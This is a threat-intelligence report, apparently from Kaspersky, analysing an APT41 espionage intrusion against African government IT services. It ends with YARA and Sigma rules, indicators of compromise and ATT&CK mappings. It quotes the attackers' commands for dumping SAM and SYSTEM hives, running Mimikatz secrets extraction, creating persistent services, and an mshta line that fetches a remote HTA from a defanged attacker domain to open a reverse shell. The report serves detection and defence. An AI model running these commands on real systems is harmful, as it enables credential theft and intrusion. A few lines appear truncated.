APT41's Cyber Espionage: Analyzing Their Recent Campaign in Africa

Introduction

Kaspersky's Managed Detection and Response (MDR) analysts have recently identified a targeted cyberattack on government IT services within Africa. This incursion utilized hardcoded internal service names, specific IP addresses, and embedded proxy servers within custom malware. Notably, one of the command and control (C2) servers was a compromised SharePoint server located within the victim's own infrastructure.

After analyzing the incident, our investigation attributed the attack to APT41—also known by various aliases including Wicked Panda, Brass Typhoon, and Winnti. This Chinese-based cyber espionage group has a history of targeting a breadth of industries ranging from telecom and energy sectors to healthcare and educational institutions across at least 42 countries. Notably, prior to this incident, Africa had witnessed minimal activity from this group.

Incident Investigation and Toolkit Analysis

Detection

The team detected unusual activity originating from several workstations within the targeted organization. Alerts pointed towards the use of the WmiExec module, part of the Impacket toolkit, indicating potentially malicious activity. The specific indications included:

• A process chain leading from svchost.exe to exe and then to cmd.exe.
• Command outputs written into file names consisting solely of numeric sequences separated by dots, stored on an administrative network share.

WmiExec process tree

Along with the WmiExec module, the Atexec module was also employed by the attackers to validate their connectivity to the C2 server, both via external internet access and through an internal proxy server.

Scheduler tasks created by Atexec

The compromised source was identified as an unmonitored host where the Impacket toolkit had been executed under a service account, leading to the eventual connection of the host to our telemetry system for further investigation.

Privilege Escalation and Lateral Movement

Subsequent to an initial pause in their operations, the attackers resumed their activities, performing reconnaissance on running processes and occupied ports:

cmd.exe /c netstat -ano > C:\Windows\temp\temp_log.log
cmd.exe /c tasklist /v > C:\Windows\temp\temp_log.log

This step likely aimed to ascertain whether their target hosts had security solutions implemented, such as EDR, MDR, or XDR agents.

Using the reg.exe utility, the attackers extracted the SYSTEM and SAM registry hives:

cmd.exe /c reg save HKLM\SAM C:\Windows\temp\temp_3.log
cmd.exe /c reg save HKLM\SYSTEM C:\Windows\temp\temp_4.log

While our monitoring systems blocked this activity on some workstations, others were vulnerable and allowed the attackers to harvest credentials from registry hives. This highlights the critical importance of deploying security solutions across all workstations to minimize risk exposure and enhance incident detection capabilities.

In this case, the attackers capitalized on two domain accounts obtained from their registry exploits—a local administrator account (present on all workstations) and a backup solution account possessing domain administrator privileges. The successful acquisition of local admin rights facilitated file transfer using SMB protocol to the administrative network share C$.

Malicious tools were typically installed within the following directory paths:

c:\windows\tasks\
c:\programdata\
c:\programdata\usoshared\
c:\users\public\downloads\
c:\users\public\
c:\windows\help\help\
c:\users\public\videos\

Lateral movement via privileged accounts

C2 Communication

Cobalt Strike

During the attack, Cobalt Strike was utilized for command and control communication, packaged as encrypted files often misleadingly labeled with TXT or INI extensions. To facilitate decryption, attackers employed malicious libraries that were injected into legitimate applications via DLL sideloading.

The typical execution process for Cobalt Strike involved placing necessary files (the legitimate app, malicious DLL, and payload file) within directories such as:

C:\Users\Public\
C:\Users\{redacted}\Downloads\
C:\Windows\Tasks\

These malicious libraries were designed to search for and decrypt an encrypted Cobalt Strike payload stored in a specifically named file. Important examples of file naming conventions included:

The execution process generally followed a consistent flow, as demonstrated by the cookie_exporter.exe execution method. The attackers renamed this application to Edge.exe and substituted the msedge.dll with their malicious version.

Upon loading any dynamic library, the DllEntryPoint function is initiated, executing a verification of the environment. Additionally, this function checks the language packs installed on the host, suppressing execution if any foreign packs are detected, such as:

• Japanese (Japan)
• Korean (South Korea)
• Chinese (Mainland China)
• Chinese (Taiwan)

If no unacceptable language packs are found, the dynamic library activates executable code via a specially exported function, which varies depending on the software that calls it. For instance, the ShowMessageWithString function within msedge.dll fetches its payload from the local Logs.txt file.

The decryption of the payload utilizes 128-bit SSE registers through repeated instructions highlighting where the encrypted file is expected to be found.

Once decrypted, the determined malicious code from msedge.dll is executed within a new thread created in a virtual memory space allocated for the attacker's code. If earlier versions of the Cobalt Strike agent were examined, it was noted that code can be activated by spawning a new process or injected into the memory of an existing process, providing operational flexibility.

Adding another layer of sophistication, the malicious libraries include code segments designed to communicate potential errors during debugging, though such strings likely remained dormant during actual operation.

On successful Cobalt Strike deployment, the implant connects back to its designated C2 server. The malicious actors establish persistence on the affected host by creating a service with a command resembling the following:

C:\Windows\system32\cmd.exe /C sc create "server power" binpath= "cmd /c start C:\Windows\tasks\Edge.exe" && sc description "server power" "description" && sc config "server power" start= auto && net start "server power"

Common service names chosen for embedding Cobalt Strike included:

server power
WindowsUpdats
7-zip Update

Agent

During the investigation, we realized the attackers had compromised a SharePoint server to use it as their C2 infrastructure. They deployed files termed agents.exe and agentx.exe via SMB to maintain communication with this server. Each agent represents a C# Trojan capable of executing commands received from a web shell named CommandHandler.aspx hosted on the SharePoint server. Several agent variations were uploaded to target hosts, but core functionalities remained largely unchanged, relying on a hard-coded URL for command retrieval.

The agents executed commands using the cmd.exe command shell, with the /c switch employed for command execution.

Despite continuous adjustments made to agent files, we found a lack of significant functional diversity, as most modifications served merely to circumvent detection methods. Furthermore, obsolete file versions were consistently purged from compromised hosts.

The deployed agents facilitated reconnaissance and sensitive data collection, including browser history, configuration files, and crucial documents (e.g., .doc, .docx, and .xlsx formats). These data were exfiltrated via the SharePoint server using the upload.ashx web shell.

Obtaining a Command Shell: Reverse Shell via an HTA File

If valuable hosts were flagged during their reconnaissance efforts, attackers aimed to establish alternate command-shell access. This was achieved by executing a command that downloaded a malicious HTA file containing an embedded JavaScript script from an external server:

"cmd.exe" /c mshta hxxp[:]//github.githubassets[.]net/okaqbfk867hmx2tvqxhc8zyq9fy694gf/hta

The malicious actors masked their intentions by utilizing GitHub-impersonating domains to host the HTA files. During our investigation, a somewhat innocuous script was downloaded from this domain rather than a malicious one, likely serving to obscure their previous activities and complicate any forensic analysis.

The harmless script found on github[.]githubassets[.]net

Following the analysis of previously circulated scripts, we examined a malicious file, 2CD15977B72D5D74FADEDFDE2CE8934F, engineered for establishing a reverse shell and enabling command execution.

Upon launch, this script collects preliminary host data to initiate its operation:

Next, it attempts to connect to the C2 server at the same domain, reporting a unique ATTACK_ID alongside the initially gathered data. Various techniques, including WebSocket, AJAX, and Flash-based connections, are implemented based on the execution capabilities of the browser or the environment.

Data Collection

For data exfiltration, attackers utilized automated tools like stealers and credential-harvesting utilities. These tools gathered sensitive data, which was uploaded via the compromised SharePoint server. SMB protocol further facilitated the transfer of these files to designated network shares.

Pillager

The attackers employed a modified variant of the Pillager utility, which is adept at decrypting and exporting data from the host computer. This tool's original version is publicly accessible in a repository with descriptions in Chinese.

Key data types collected included:

• Saved credentials from browsers, databases, and tools like MobaXterm.
• Project source code.
• Active screenshots.
• Chat session data.
• Email messages.
• Active SSH and FTP sessions.
• List of installed software.
• System information—including outputs from systeminfo and tasklist.
• Wi-Fi network credentials and other sensitive account information.

A related example from Pillager's functionality showcased:

This utility, typically present as an executable file, was recoded into a DLL format named wmicodegen.dll, which ran on hosts via DLL sideloading. The attackers chose convert-moftoprovider.exe from the Microsoft SDK toolkit as the host application role model.

Despite all modifications, the attackers retained the original output name for the data collected, directing it to C:\Windows\Temp\Pillager.zip. The employed malicious library was based on the legitimate SimpleHD.dll HDR rendering tool from the Xbox Development Kit available on GitHub. This library was adjusted so that convert-moftoprovider.exe could invoke a specific function containing the Pillager's code.

Checkout

The second stealer used was named Checkout, which not only retrieved saved credentials and browser history but also exfiltrated information about downloaded files and credit card data stored within web browsers.

The attackers provided a j8 parameter during Launch; missing this code variant prevented the stealer’s execution. Data harvested is compiled into CSV files, archived, and stored as CheckOutData.zip in a specifically created CheckOut directory.

Data collection and archiving in Checkout

Checkout launch diagram in Kaspersky Threat Intelligence Platform

RawCopy

To retrieve registry dumps, attackers opted for RawCopy, a publicly available, command-line tool that operates at a low disk reading level within NTFS volumes:

c:\users\public\downloads\RawCopy.exe /FileNamePath:C:\Windows\System32\Config\system /OutputPath:c:\users\public\downloads
c:\users\public\downloads\RawCopy.exe /FileNamePath:C:\Windows\System32\Config\sam /OutputPath:c:\users\public\downloads
c:\users\public\downloads\RawCopy.exe /FileNamePath:C:\Windows\System32\Config\security /OutputPath:c:\users\public\downloads

Mimikatz

The widely-utilized credential dumping tool Mimikatz also came into play during the attack. Here, the Mimikatz code was compiled into a DLL, sideloaded via the legitimate java.exe executable used for compiling Java code. The following involved files carried out the Mimikatz operation:

C:\Windows\Temp\123.bat
C:\Windows\Temp\jli.dll
C:\Windows\Temp\java.exe
С:\Windows\Temp\config.ini

Here, 123.bat serves as the command launcher for the legitimate java.exe, which subsequently loads the DLL. This DLL contains the Mimikatz configuration data, served from another compromised host within the organizational network:

java.exe privilege::debug token::elevate lsadump::secrets exit

Retrospective Threat Hunting

As noted earlier, the coverage of the victim organization's monitoring capabilities was initially insufficient. This gap resulted in only observing the external IP address of the attacked host during the early detection stages, while the actual specifics of the host's activity remained obscured. Eventually, the compromised IIS web server was linked back to our monitoring systems, revealing remnants of the attack.

Artifacts included the Cobalt Strike implant located in c:\programdata\ and a scheduled task designed for persistence. Additionally, a web shell was present on the host, identified as HEUR:Backdoor.MSIL.WebShell.gen, located within the ASP.NET application temporary files:

c:\windows\microsoft.net\framework64\v4.0.30319\temporary asp.net files\root\dedc22b8\49ac6571\app_web_hdmuushc.dll
MD5: 0x70ECD788D47076C710BF19EA90AB000D

The web shell, referred to as newfile.aspx, was configured with function names indicating the use of a Neo-reGeorg reverse proxy tool.

This tool enabled traffic proxying from an external to an internal network through an accessible web server. Thus, the launch of Impacket tools, initially believed to be originating from an unidentified host, was actually being relayed through this gateway from an external source.

Attribution

This attack is attributed to APT41 with a high degree of confidence. This conclusion is grounded in the analysis of similarities in tactics, techniques, procedures (TTPs), tooling, and communication frameworks associated with other APT41 operations. The evidential points include:

• Utilization of characteristic tools such as Impacket, WMI, and Cobalt Strike.
• DLL sideloading schemes.
• Filenames indicative of APT41 patterns saved in C:\Windows\Temp.
• The C2 domain names used in this incident (e.g., s3-azure.com and its variants) bear resemblance to domains previously linked to APT41.

Takeaways and Lessons Learned

This incident exemplifies APT41's versatile toolset, deploying a mix of custom-built and publicly accessible tools. Notably, the group employs robust penetration testing utilities like Cobalt Strike through various attack stages. Their adaptability to target infrastructure specifics is evident, with attackers updating their malicious tools for effectiveness. Moreover, operational communication channels and data exfiltration efforts often exploit internal services.

Ultimately, while this particular incident culminated in a satisfactory resolution—with the attackers being expelled—it highlights the inefficacy of combatting advanced threats without thorough knowledge bases and ongoing infrastructure monitoring. The uncovered vulnerabilities underlined the critical necessity for executing complete coverage of security tools capable of instantaneously mitigating malicious activities during their onset. Furthermore, we stress the importance of exercising stringent control over account privileges, particularly regarding their presence across all organizational hosts.

Appendix

Rules

Yara

rule neoregeorg_aspx_web_shell
{
meta:
description = "Rule to detect neo-regeorg based ASPX web-shells"
author = "Kaspersky"
copyright = "Kaspersky"
distribution = "DISTRIBUTION IS FORBIDDEN. DO NOT UPLOAD TO ANY MULTISCANNER OR SHARE ON ANY THREAT INTEL PLATFORM"
strings:
$func1 = "FrameworkInitialize" fullword
$func2 = "GetTypeHashCode" fullword
$func3 = "ProcessRequest" fullword
$func4 = "__BuildControlTree"
$func5 = "__Render__control1"
$str1 = "FAIL" nocase wide
$str2 = "Port close" nocase wide
$str3 = "Port filtered" nocase wide
$str4 = "DISCONNECT" nocase wide
$str5 = "FORWARD" nocase wide
condition:
uint16(0) == 0x5A4D and
filesize 

Sigma
title: Service Image Path Start From CMD
id: faf1e809-0067-4c6f-9bef-2471bd6d6278
status: test
description: Detects creation of unusual service executable starting from cmd /c using command line
references:
- tbd
tags:
- attack.persistence
- attack.T1543.003
author: Kaspersky
date: 2025/05/15
logsource:
product: windows
service: security
detection:
selection:
EventID: 4697
ServiceFileName|contains:
- '%COMSPEC%'
- 'cmd'
- 'cmd.exe'
ServiceFileName|contains|all:
- '/c'
- 'start'
condition: selection
falsepositives:
- Legitimate
level: medium

IOCs
Files
2F9D2D8C4F2C50CC4D2E156B9985E7CA

9B4F0F94133650B19474AF6B5709E773

A052536E671C513221F788DE2E62316C

91D10C25497CADB7249D47AE8EC94766

C3ED337E2891736DB6334A5F1D37DC0F

9B00B6F93B70F09D8B35FA9A22B3CBA1

15097A32B515D10AD6D793D2D820F2A8

A236DCE873845BA4D3CCD8D5A4E1AEFD

740D6EB97329944d82317849f9bbd633

C7188C39B5C53ECBD3AEC77A856DDF0C

3AF014DB9BE1A04E8B312B55D4479F69

4708A2AE3A5F008C87E68ED04A081F18

125B257520D16D759B112399c3cd1466

C149252A0A3B1F5724FD76F704A1E0AF

3021C9BCA4EF3AA672461ECADC4718E6

F1025FCAD036AAD8BF124DF8C9650BBC

100B463EFF8295BA617D3AD6DF5325C6

2CD15977B72D5D74FADEDFDE2CE8934F

9D53A0336ACFB9E4DF11162CCF7383A0
Domains and IPs
47.238.184[.]9

38.175.195[.]13

hxxp://github[.]githubassets[.]net/okaqbfk867hmx2tvqxhc8zyq9fy694gf/hta

hxxp://chyedweeyaxkavyccenwjvqrsgvyj0o1y.oast[.]fun/aaa

hxxp://toun[.]callback.red/aaa

hxxp://asd.xkx3[.]callback.red

hxxp[:]//ap-northeast-1.s3-azure[.]com

hxxps[:]//www[.]msn-microsoft.org:2053

hxxp[:]//www.upload-microsoft.com

s3-azure.com

*.ns1.s3-azure.com

*.ns2.s3-azure.com

upload-microsoft[.]com

msn-microsoft[.]org
MITRE ATT&CK

Tactic	Technique	ID
Initial Access	Valid Accounts: Domain Accounts	T1078.002
Exploit Public-Facing Application	T1190
Execution	Command and Scripting Interpreter: PowerShell	T1059.001
Command and Scripting Interpreter: Windows Command Shell	T1059.003
Scheduled Task/Job: Scheduled Task	T1053.005
Windows Management Instrumentation	T1047
Persistence	Create or Modify System Process: Windows Service	T1543.003
Hijack Execution Flow: DLL Side-Loading	T1574.002
Scheduled Task/Job: Scheduled Task	T1053.005
Valid Accounts: Domain Accounts	T1078.002
Web Shell	T1505.003
IIS Components	T1505.004
Privilege Escalation	Create or Modify System Process: Windows Service	T1543.003
Hijack Execution Flow: DLL Side-Loading	T1574.002
Process Injection	T1055
Scheduled Task/Job: Scheduled Task	T1053.005
Valid Accounts: Domain Accounts	T1078.002
Defense Evasion	Hijack Execution Flow: DLL Side-Loading	T1574.002
Deobfuscate/Decode Files or Information	T1140
Indicator Removal: File Deletion	T1070.004
Masquerading	T1036
Process Injection	T1055
Credential Access	Credentials from Password Stores: Credentials from Web Browsers	T1555.003
OS Credential Dumping: Security Account Manager	T1003.002
Unsecured Credentials	T1552
Discovery	Network Service Discovery	T1046
Process Discovery	T1057
System Information Discovery	T1082
System Network Configuration Discovery	T1016
Lateral movement	Lateral Tool Transfer	T1570
Remote Services: SMB/Windows Admin Shares	T1021.002
Collection	Archive Collected Data: Archive via Utility	T1560.001
Automated Collection	T1119
Data from Local System	T1005
Command and Control	Application Layer Protocol: Web Protocols	T1071.001
Application Layer Protocol: DNS	T1071.004
Ingress Tool Transfer	T1105
Proxy: Internal Proxy	T1090.001
Protocol Tunneling	T1572
Exfiltration	Exfiltration Over Alternative Protocol	T1048
Exfiltration Over Web Service	T1567